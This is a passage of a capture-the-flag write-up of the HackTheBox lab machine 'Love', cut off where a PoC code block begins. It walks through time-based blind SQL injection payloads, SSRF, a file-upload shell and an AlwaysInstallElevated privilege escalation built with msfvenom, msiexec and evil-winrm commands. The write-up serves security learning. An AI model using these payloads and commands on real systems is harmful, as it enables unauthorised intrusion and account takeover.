class="header-anchor"&gt;&lt;/a&gt;18.Love&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0437.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0438.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0439.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0440.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;rpc&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0441.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mysql&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0442.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect even with a password.&lt;/p&gt;&#10;&lt;p&gt;Port 80 had a login page.&lt;/p&gt;&#10;&lt;p&gt;Port 443 returned a 403. It might be using authentication from port 80, so I logged in there first and then tried accessing it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0443.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0444.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.239/admin/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.239/admin/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.239/admin/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.239/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two pages use different endpoints. The home page expects an ID, while the admin page expects a username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0445.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory traversal vulnerability.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0446.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The framework information is shown above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0447.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0448.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to exist.&lt;/p&gt;&#10;&lt;p&gt;This web app wasn&amp;rsquo;t built with any particular framework either, so all I could do was look for vulnerabilities in one of its components.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0449.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a voting system, and I was fairly sure the user login would have weak credentials. It expected a numeric ID, and I didn&amp;rsquo;t know how those IDs were assigned. Still, a voting system would surely have plenty of users, so weak passwords were bound to exist. Since I didn&amp;rsquo;t know where the IDs started, I began with the simplest combinations: IDs from 1 to 10000, paired with &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;Password&lt;/code&gt;, &lt;code&gt;123456&lt;/code&gt;, and &lt;code&gt;admin123&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0450.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least I had the absolute xampp path now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0451.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was an exploit, but it required an account and password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0452.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The box was released on May 1, 2021, while this exploit came out on January 19, so it should work. The exploit didn&amp;rsquo;t give me much more information, though. If I could get into the admin panel, I could probably find my own route to RCE anyway.&lt;/p&gt;&#10;&lt;p&gt;The exploit included the target&amp;rsquo;s source code, and sure enough, it matched. I downloaded the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0453.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.sourcecodester.com/download-code?nid=12306&amp;amp;title=Voting&amp;#43;System&amp;#43;using&amp;#43;PHP%2FMySQLi&amp;#43;with&amp;#43;Source&amp;#43;Code" target="_blank" rel="noopener"&#10; &gt;https://www.sourcecodester.com/download-code?nid=12306&amp;amp;title=Voting+System+using+PHP%2FMySQLi+with+Source+Code&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;What I couldn&amp;rsquo;t believe was that the box might expect me to find a vulnerability myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0454.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This SQL injection was painfully obvious. I couldn&amp;rsquo;t find a related exploit online, but the source code made everything click immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0455.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unsurprisingly, the admin login worked the same way.&lt;/p&gt;&#10;&lt;p&gt;The password was the problem. I couldn&amp;rsquo;t bypass the login outright, so I could only use the injection to extract information. I first verified that the vulnerability really existed on the target and matched the source instead of having been patched.&lt;/p&gt;&#10;&lt;p&gt;Entering &lt;code&gt;1&lt;/code&gt; as the username returned a message saying the user couldn&amp;rsquo;t be found.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0456.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When I entered &lt;code&gt;1' or 1=1#&lt;/code&gt;, it responded with this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0457.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Wrong password. As I saw it, there were three possible paths.&lt;/p&gt;&#10;&lt;p&gt;The first was blind SQL injection. Blind injection is notoriously time-consuming, and all the responses were hardcoded, so blind injection was the only option here. The downside was that it would be extremely slow. The upside was that I already knew the admin panel had an RCE vulnerability, so I could extract the account and use it to get RCE there.&lt;/p&gt;&#10;&lt;p&gt;The second path, and the one I wanted to take, was to query the database privileges directly. If the database user was root, or otherwise had permission to create users or administrative privileges, I could simply create another user that allowed remote access.&lt;/p&gt;&#10;&lt;p&gt;The third was to write a shell directly. I already had the absolute path, so I only needed to check whether I had write permission.&lt;/p&gt;&#10;&lt;p&gt;The second option overlapped with both the first and third, so I decided to see whether I could create a user.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0458.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;localtion&lt;/code&gt; header would redirect immediately, but when I accessed this endpoint, it ran the entire query without breaking the time-based injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0459.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t take long to find another problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0460.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0461.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error whenever the return value was empty. That wasn&amp;rsquo;t a big deal in itself, because the query above had already run. At this point I had to take the first path. Extracting the username and password through blind injection was much easier than the other approaches now, and I already had an RCE route in the admin panel. First, though, I needed to confirm that the account was correct.&lt;/p&gt;&#10;&lt;p&gt;Its validation logic was interesting too. At this endpoint, if my password was wrong, it stored my session in the database.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0462.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then, when I took that session and accessed &lt;code&gt;index.php&lt;/code&gt;:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0463.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a visible response. I could inject the username this way, but not the password. If I knew any valid password, I could log in successfully. For example, I tried a password on the voter login page and got straight in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0464.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The PoC is at the end.&lt;/p&gt;&#10;&lt;p&gt;Database name:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0465.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first username was five characters long.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0466.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no second username.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0467.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no need to brute-force the account name anymore; I had already confirmed it was &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&amp;rsquo; AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT username FROM admin))=5,5,0))))WYpt) AND &amp;lsquo;hBVQ&amp;rsquo;=&amp;lsquo;hBVQ&lt;/p&gt;&#10;&lt;p&gt;I still added this to the script, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0468.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source already showed the database structure, but I wanted to verify it.&lt;/p&gt;&#10;&lt;p&gt;&amp;rsquo; AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT password FROM admin WHERE username=&amp;ldquo;admin&amp;rdquo;))=60,5,0))))WYpt) AND &amp;lsquo;hBVQ&amp;rsquo;=&amp;lsquo;hBVQ&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0469.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sixty characters. That was also visible in the source; I was just double-checking it.&lt;/p&gt;&#10;&lt;p&gt;Extracting the password took far too long, so I&amp;rsquo;ll skip over a stretch of waiting here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0470.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The script crashed when it reached this point. During the long wait, I tried to find out whether this step was even correct, but in practice nobody else had taken the same route I had.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0471.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even if I extracted the password, it was still a hash that I would have to crack, and the plaintext wasn&amp;rsquo;t in &lt;code&gt;rockyou&lt;/code&gt;. Constant brute-forcing also made my connection to the box painfully slow. I&amp;rsquo;ll leave the PoC until the end.&lt;/p&gt;&#10;&lt;p&gt;I only learned about the other way to get a shell after looking at a write-up, and it was much easier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0472.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Checking the certificate is a fairly standard idea, but I hadn&amp;rsquo;t done it at the time. That was a major mistake. There was a domain name here, so I added it to &lt;code&gt;hosts&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0473.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a demo here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0474.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0475.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could use SSRF to request local services and see whether any of the services identified above were listening there.&lt;/p&gt;&#10;&lt;p&gt;I found the password at &lt;code&gt;http:127.0.0.1:5000&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0476.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0477.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once inside the admin panel, I followed the earlier RCE guide and went straight to the &lt;code&gt;/voters_add.php&lt;/code&gt; endpoint.&lt;/p&gt;&#10;&lt;p&gt;All I had to do was create a new entry and upload the file. The filename stayed unchanged.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0478.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used &lt;code&gt;nc&lt;/code&gt; to call the shell back to me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0479.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;systeminfo whoami/priv&lt;/code&gt; turned up nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;winPEASany&lt;/code&gt; found a few interesting things. At minimum, I needed to pay attention to everything highlighted in red.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0480.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0481.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0482.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source file seemed to be gone.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0483.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0484.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No use. I couldn&amp;rsquo;t find it either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0485.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Authenticated users could create directories and write files in the root of the C drive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0486.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The same was true for &lt;code&gt;c:\administration&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0487.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://developer.aliyun.com/article/1227455" target="_blank" rel="noopener"&#10; &gt;https://developer.aliyun.com/article/1227455&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The vulnerability verification section of this blog post is a useful reference.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -exec bypass &amp;#34;import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0488.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two posts would be useful later. First, I generated a malicious MSI.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/adduser USER=msi PASS=Pass@123 -f msi -o ./add.msi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I transferred it to the target.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msiexec.exe /quiet /qn /i add.msi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0489.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.10.239 -u msi -p Pass@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0490.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation part was pretty straightforward. Most of what I found consisted of blog posts introducing the vulnerability, and reading a few of them was enough to understand how it worked. During the shell stage, I forgot one crucial step: the HTTPS service had a certificate, and that certificate could contain a domain name. That domain might be the way in. Still, the SQL injection route was valid too. I got stuck on it for a long time. When extracting the 60-character password proved unbearably slow, I checked the next step in a write-up and realized I had gone completely the wrong way. Even if I got the password, it was still a hash. I searched &lt;code&gt;rockyou&lt;/code&gt; for a match, but the password wasn&amp;rsquo;t there. In other words, even if I extracted all 60 characters, brute-forcing the plaintext afterward still wouldn&amp;rsquo;t work. The database user for the SQL injection was most likely &lt;code&gt;root&lt;/code&gt;; I checked only whether the first letter was &lt;code&gt;r&lt;/code&gt; and then left it alone. I tried adding another user to the database, but that didn&amp;rsquo;t work either. The SQL injection held me up for ages. Every payload I used here was based on payloads other people had posted; the ones I built myself simply didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0491.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For example, with the one above, I copied the payload and found that it caused a delay. I then modified it into the version used in my PoC. None of my own attempts worked. Building the PoC after confirming the delay also took a lot of time, and running it took even longer. Brute-forcing with the Community Edition of &lt;code&gt;burpsuite&lt;/code&gt; was painfully slow because it had no multithreading. I also tried appending all sorts of other commands, but none worked; the response would just return an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0492.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the source, it executed the SQL statement before throwing the error. In theory, the SQL statement should have run.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0493.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the result was that it never executed successfully.&lt;/p&gt;&#10;&lt;p&gt;I used frp to tunnel port 3306 on the target to local port 6000.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0494.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had a blank password. I connected to see whether anything I had tried earlier had actually worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0495.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It hadn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0496.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Neither had this.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. I still need to work through more boxes and sharpen up my approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span 